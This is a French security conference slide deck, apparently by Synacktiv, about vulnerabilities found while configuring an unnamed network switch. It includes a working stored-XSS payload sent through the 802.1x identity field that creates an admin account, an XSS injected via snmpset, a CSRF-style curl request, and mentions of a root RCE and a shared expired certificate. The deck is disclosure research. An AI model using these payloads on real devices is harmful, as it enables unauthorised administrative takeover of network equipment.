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La quête du switch souverain

802.1x, SNMP, HTTPS, XSS, CSRF, RCE et trolls 
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Contexte

 Synacktiv déménage dans des nouveaux 
bureaux

 Synacktiv poutre ses clients avec des 
implants lors des tests Red-Team

 Essayer de faire ce qu'on préconise à nos 
clients …

« Les consultants Synacktiv recommandent la mise 
en place du 802.1x … »
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Contexte : la vraie raison ...
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Les équipements souverains
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Cherchons un « vrai » switch
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Configurer un secret 802.1x

 Parce qu'on est « secure », on génère nos 
secrets RADIUS/TACACS avec pwgen

 Quelques erreurs apparaissent dans la 
console d’administration …

$ pwgen -n -s -y 48 1
:;*QJERS0I&^~tC;$(%tZ(fWm_!
Z(h{dPS~J]'<s*<D/x_;w
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Configurer un secret 802.1x

 Conclusion
 Pas de chevron, sinon on se self-XSS
 Pas plus de 32 (et non pas 64) caractères, sinon 

on overflow le bazar
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Configurer un client 802.1x

 Pendant ce temps à la machine à  café …
 « Y’a pas moyen de XSS via 802.1x ? »

network={
        id_str="XXXXXX"
        eap=TLS
        key_mgmt=IEEE8021X
        ca_cert="/etc/network/ca.pem"
        client_cert="/etc/network/user.crt"
        private_key="/etc/network/user.key"
        private_key_passwd="XXXXXXXXXXXXXX"
        subject_match="XXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
        identity="kikoo<script>$.ajax({type:'POST',url:'/cgi/set.cgi?
cmd=aaa_userAdd&dummy=146019899',data:'{\"_ds=1&userName=kikoo1234&password=A
bcdefghijkl_2&confirmPassword=Abcdefghijkl_2&priv=15&_de=1\":
{}}',contentType:'application/json'})</script>@XXXXXXX"
}
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Configurer un client 802.1x

 Lorsqu’un administrateur affiche la liste 
des ports authentifiés
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Configurer un client 802.1x

 FreeRADIUS à la rescousse

filter_username {
if (&User-Name !~ /^[a-zA-Z0-9@.-]+$/) {

reject
}

}
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Configurer SNMP

« Les consultants Synacktiv recommandent 
d’utiliser SNMPv3 ou de définir des communautés 
SNMP complexes »
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Configurer SNMP

 Mais … mais …
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Configurer SNMP

 Exploiter proprement une écriture SNMP 
c’est fun mais c’est compliqué, donc ... 

$ snmpset -v1 -c rmonmgmtuicommunity TARGET_IP sysLocation.0 s \

'<script>alert(["hello","from","snmp"].join(String.fromCharCode(32)))</script>'
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Configurer HTTPS

 Impossible de pousser un certificat SSL
 L'interface Web ne le permet pas.
 L'interface console ne le supporte pas, contrairement 

à ce que laisse supposer la documentation.

 Générer un CSR sur le switch
 « I have a dream »

 Heureusement il y a
crypto certificate generate
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Configurer HTTPS (ou pas)

 Le certificat SSL est généré à l'installation ?
 mais non !

 C'est le même certificat SSL pour tous les 
switchs ?
 mais si !

 Mais du coup il est valide 10 ans ou il a déjà 
expiré ?
 expiré depuis 21/03/2015
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Configurer HTTPS

 Heureusement la clé privée ne peut pas être 
téléchargée depuis le switch (HTTPS ou SSH)

 Mais le serveur Web tourne en root …
 Et il y a (au moins) un RCE dans les alarmes SNMP
 C’est marrant mais ça sert pas à grand-chose en final

 Attention à POODLE !
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Remarques ...

 Le serveur Web est sensible…
 donc ne pas trop le fuzzer
 ne surtout pas lancer des attaques avancées

 Le serveur Web « essaye » de gérer les sessions 
authentifiées en se basant sur le User-Agent et l'adresse 
IP source.
 CSRF captain obvious
 Éviter de relayer toutes les connexions par un bastion centralisé 

sinon ça fait un peu SSO

$ curl -i -s -k  -X POST 'https://switch/cgi/set.cgi?cmd=aaa_userAdd'
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Conclusion

 Nous cherchons un financement pour 
développer un switch français

 Les CSPNs, ça peut servir ;)
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